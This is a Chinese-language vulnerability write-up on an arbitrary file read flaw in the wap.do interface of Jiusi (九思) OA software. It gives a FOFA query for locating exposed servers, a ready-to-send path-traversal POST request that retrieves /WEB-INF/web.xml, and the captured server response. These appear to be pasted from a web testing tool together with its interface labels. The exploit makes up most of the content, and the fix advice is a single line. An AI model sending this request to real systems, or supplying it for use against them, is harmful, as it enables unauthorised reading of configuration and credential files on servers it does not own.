

# 九思OA wap 任意文件读取

## 漏洞描述

北京九思协同办公软件wap.do接口处存在任意文件读取漏洞，攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

## 影响版本

九思OA

## 漏洞状态

| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|------|-------|-------|------|
| 是    | 已公开   | 已公开   | 已知   |

## 风险等级

| 维度    | 评价 |
|-------|----|
| 威胁等级  | 高危 |
| 影响面   | 广  |
| 攻击者价值 | 高  |
| 利用难度  | 低  |

## 漏洞复现

FOFA: body="/jsoa/login.jsp"

POC/EXP:

POST /jsoa/wap.do?method=downLoad HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36  
Accept-Encoding: gzip, deflate, br  
Accept: /  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 40  
  
path=../&name=&FileName=/WEB-INF/web.xml

发送请求

强制 HTTPS

历史

爆破示例

Request

数据包扫描

美化

热加载

构造请求

1

POST /jsoa/wap.do?method=downLoad HTTP/1.1

2

Host :

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

4

Accept-Encoding: gzip, deflate, br

5

Accept: \*/\*

6

Connection: close

7

Content-Type: application/x-www-form-urlencoded

8

Content-Length auto : 40

9

10

path=../&name=&FileName=/WEB-INF/web.xml

Responses

18815bytes / 62ms

美化

编码

1

HTTP/1.1 200 OK

2

Server: Apache-Coyote/1.1

3

Set-Cookie: JSESSIONID=48CF0E57EDD77A8A0457420DC888B6Path=/jsoa

4

Content-Disposition: attachment; filename=""

5

Content-Type: csv

6

Date: Tue, 25 Feb 2025 08:02:26 GMT

7

Connection: close

8

Content-Length: 18292

9

10

<?xml version="1.0" encoding="UTF-8"?>

11

<web-app

12

<version>"3.0"

13

<xmlns>"http://java.sun.com/xml/ns/javaee"

14

<xmlns:xsi>"http://www.w3.org/2001/XMLSchema-instance"

15

<xsi:schemaLocation>"http://java.sun.com/xml/ns/javahttp://java.sun.com/xml/ns/javaee/web-app\_3\_0.xsd"

16

>

17

<display-name>jsoa</display-name>

18

<security-constraint>.....

19

<web-resource-collection>.....

20

<url-pattern>\*</url-pattern>.....

21

<http-method>PUT</http-method>.....

22

<http-method>DELETE</http-method>.....

23

<http-method>HEAD</http-method>.....

24

<http-method>OPTIONS</http-method>.....

25

<http-method>TRACE</http-method>

26

</web-resource-collection>.....

27

<auth-constraint>.....

28

</auth-constraint>.....

29

</security-constraint>.....

30

<login-config>.....

31

<auth-method>BASIC</auth-method>.....

32

</login-config>

# 漏洞修复

关注厂商官网动态，及时更新补丁信息。